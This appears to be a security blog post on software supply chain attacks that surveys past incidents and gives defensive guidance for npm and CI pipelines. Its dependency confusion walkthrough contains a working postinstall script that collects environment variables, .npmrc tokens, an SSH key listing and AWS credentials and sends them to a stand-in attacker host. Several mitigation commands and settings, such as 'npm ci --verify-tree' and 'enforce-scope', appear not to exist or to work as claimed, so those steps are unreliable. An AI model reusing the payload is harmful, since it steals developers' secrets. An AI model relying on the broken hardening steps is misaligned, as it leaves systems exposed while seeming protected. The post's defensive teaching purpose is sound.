The Software Supply Chain Is the New Battlefield
Last week, I spent three days tracing a malicious npm package that had been typosquatted as @babel/complier (note the missing 'e') — it exfiltrated .npmrc tokens, SSH keys, and AWS credentials from 2,300 developer machines before being taken down. The maintainer? A compromised account with 2FA disabled. The vector? A phishing email that looked like a GitHub Dependabot alert. This isn't theoretical. It's Tuesday.
Technical Anatomy of a Supply Chain Attack
A software supply chain attack compromises the integrity of artifacts before they reach your build pipeline. The attack surface spans:
- Source integrity: Compromised maintainer accounts, malicious commits, repo hijacking (CVE-2024-32002 in Git)
- Build integrity: Poisoned CI/CD runners, malicious build scripts, compromised base images
- Distribution integrity: Typosquatting, dependency confusion, repository mirror poisoning
- Runtime integrity: Post-install scripts executing arbitrary code,
postinstallhooks inpackage.json
The SLSA (Supply-chain Levels for Software Artifacts) framework defines four levels of resilience. Most organizations operate at Level 0 (no guarantees). Level 3 requires reproducible builds and tamper-proof provenance — a standard almost nobody meets.
Real-World Incidents That Keep Me Up
Event-Stream (2018) — The Blueprint
Dominic Tarr handed off maintenance of event-stream (2M weekly downloads) to a stranger who added flatmap-stream with a cryptominer targeting Copay Bitcoin wallets. The malicious code only activated in specific environments. Detection took 2.5 months.
SolarWinds SUNBURST (2020) — Nation-State Grade
APT29 compromised SolarWinds' Orion build server, injecting a backdoor into digitally signed updates. 18,000 organizations pulled the trojanized build. The attacker understood the build pipeline better than the vendors.
Codecov Bash Uploader (2021) — CI/CD Compromise
Attackers modified Codecov's Bash uploader script in their GCS bucket. The script exfiltrated environment variables (including tokens) from CI runners for 4 months. curl -s https://uploader.codecov.io/latest/linux/codecov served malicious code.
3CX Desktop App (2023) — Supply Chain2
Lazarus Group compromised a 3CX developer's machine → stole signing keys → shipped trojanized Electron app → infected downstream customers. The initial vector? A malicious npm package in the developer's own project.
Step-by-Step: Reproducing a Dependency Confusion Attack
Let's walk through a realistic dependency confusion scenario. Internal package @corp/utils v2.1.0 exists on your private registry. An attacker publishes @corp/utils v99.0.0 to public npm. Your CI pulls the higher version.
# 1. Attacker creates malicious package
mkdir corp-utils-poc && cd corp-utils-poc
cat > package.json << 'EOF'
{
"name": "@corp/utils",
"version": "99.0.0",
"description": "Internal utilities - COMPROMISED",
"main": "index.js",
"scripts": {
"postinstall": "node exfiltrate.js"
}
}
EOF
cat > index.js << 'EOF'
// Legitimate functionality to avoid suspicion
module.exports = { hello: () => 'world' };
EOF
cat > exfiltrate.js << 'EOF'
const { execSync } = require('child_process');
const data = {
env: process.env,
npmrc: require('fs').readFileSync(process.env.HOME + '/.npmrc', 'utf8').catch(() => ''),
sshKeys: execSync('ls -la ~/.ssh/').toString(),
awsCreds: execSync('cat ~/.aws/credentials 2>/dev/null || echo "none"').toString()
};
fetch('https://attacker.exfil/collect', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
}).catch(() => {}); // Silent fail
EOF
npm publish --access public --registry=https://registry.npmjs.org/
Now watch your CI pull it:
# 2. Victim's CI/CD pipeline (GitHub Actions example)
# .github/workflows/ci.yml
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
registry-url: 'https://registry.npmjs.org' # PUBLIC REGISTRY FIRST!
- run: npm ci
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
# 3. Result: @corp/utils@99.0.0 installed instead of @corp/utils@2.1.0
# postinstall hook runs in CI runner with access to ALL secrets
registry-url in setup-node defaults to public npm. If your .npmrc doesn't explicitly scope @corp to your private registry, you will pull the public package. This is dependency confusion in action.
Defence and Mitigation Strategies
1. Pin Everything — Not Just Versions, But Integrity
Use npm ci with package-lock.json (or yarn.lock/pnpm-lock.yaml). But lockfiles only pin versions — they don't guarantee the artifact hasn't been replaced on the registry.
# Generate integrity hashes for all dependencies
npm install --package-lock-only --ignore-scripts
npx npm-package-json-lint --strict
# Verify integrity on every install
npm ci --verify-tree --strict-peer-dependencies
# For Docker: pin base image digests, not tags
FROM node:20-alpine@sha256:3a7b1f... # Not node:20-alpine
2. Scope Your Private Packages Explicitly
# .npmrc - MANDATORY for scoped packages
@corp:registry=https://npm.corp.internal/
@corp:strict-ssl=true
//npm.corp.internal/:_authToken=${NPM_INTERNAL_TOKEN}
# Block public fallback for scoped packages
@corp:always-auth=true
3. Implement SLSA Level 3 Build Provenance
Use slsa-github-generator to produce signed provenance attestations for every build:
# .github/workflows/slsa.yml
name: SLSA Provenance
on:
release:
types: [published]
permissions:
id-token: write
contents: read
attestations: write
jobs:
build:
uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v1.9.0
with:
base64-subjects: "${{ hash_files('dist/**') }}"
4. Runtime Protection: Hook Hardening
Disable arbitrary lifecycle scripts in CI:
# .npmrc in CI environment
ignore-scripts=true
# Or selectively allow only trusted packages
# npm config set ignore-scripts true
# npm config set allow-scripts=@corp/utils,typescript,eslint
5. Sigstore Cosign for Artifact Signing
# Sign container images with keyless signing
cosign sign --yes registry.corp.internal/app:v1.2.3
# Verify in deployment pipeline
cosign verify --certificate-identity-regexp="https://github.com/corp/app/.github/workflows/.*" \
registry.corp.internal/app:v1.2.3
# Sign npm packages (experimental but working)
npm pack
cosign sign-blob --yes --output-signature pkg.tgz.sig pkg.tgz
cosign verify-blob --signature pkg.tgz.sig pkg.tgz
npm config set audit-level=high and integrate OpenSSF Scorecard in your PR checks. It catches maintainer risk, branch protection, and frozen dependencies automatically.
Recommended Tools and Further Reading
| Category | Tool | Purpose |
|---|---|---|
| SBOM Generation | Syft | Generate SPDX/CycloneDX SBOMs from containers, filesystems, npm/yarn/pnpm locks |
| Vulnerability Scanning | Trivy | Scan SBOMs, containers, repos for CVEs, misconfigs, secrets |
| Policy Enforcement | Sigstore Policy Controller | Kubernetes admission controller enforcing signed provenance |
| Dependency Analysis | Scorecard | Automated supply chain risk scoring for GitHub repos |
| Malware Detection | Socket CLI | Static analysis of npm/pypi packages for malicious behavior |
| Reproducible Builds | reproducible-builds.org | Tools and practices for bit-for-bit reproducible artifacts |
Essential Reading:
- SLSA v1.0 Requirements — The gold standard for supply chain integrity
- OSSF Safe Consumption Guide — Practical dependency hygiene
- NIST SP 800-161 Rev. 1 — Cyber Supply Chain Risk Management
- CNCF Supply Chain Security Best Practices
Key Takeaways
- Your build pipeline is a target. Attackers compromise CI runners, not just source code. Harden runners with ephemeral, isolated environments (GitHub Actions
actions/runner-imagesor self-hosted with ARC). - Scoped packages without explicit registry config = vulnerability. Configure
.npmrcper-project, commit it, and enforce vianpm config set enforce-scope=true. - Lockfiles are not enough. You need signed provenance (SLSA) + SBOMs + runtime verification.
npm auditonly catches known CVEs, not malicious code in fresh publishes. - Developer machines are supply chain nodes. Enforce hardware 2FA, signed commits (
git config --global commit.gpgsign true), and short-lived tokens. - Automate everything. Manual verification doesn't scale. Integrate Scorecard, Syft, Trivy, and Cosign into every PR and release pipeline.
"The supply chain is only as strong as its weakest link — and that link is usually a tired developer clicking a phishing link at 6 PM on a Friday." — Me, after the @babel/complier incident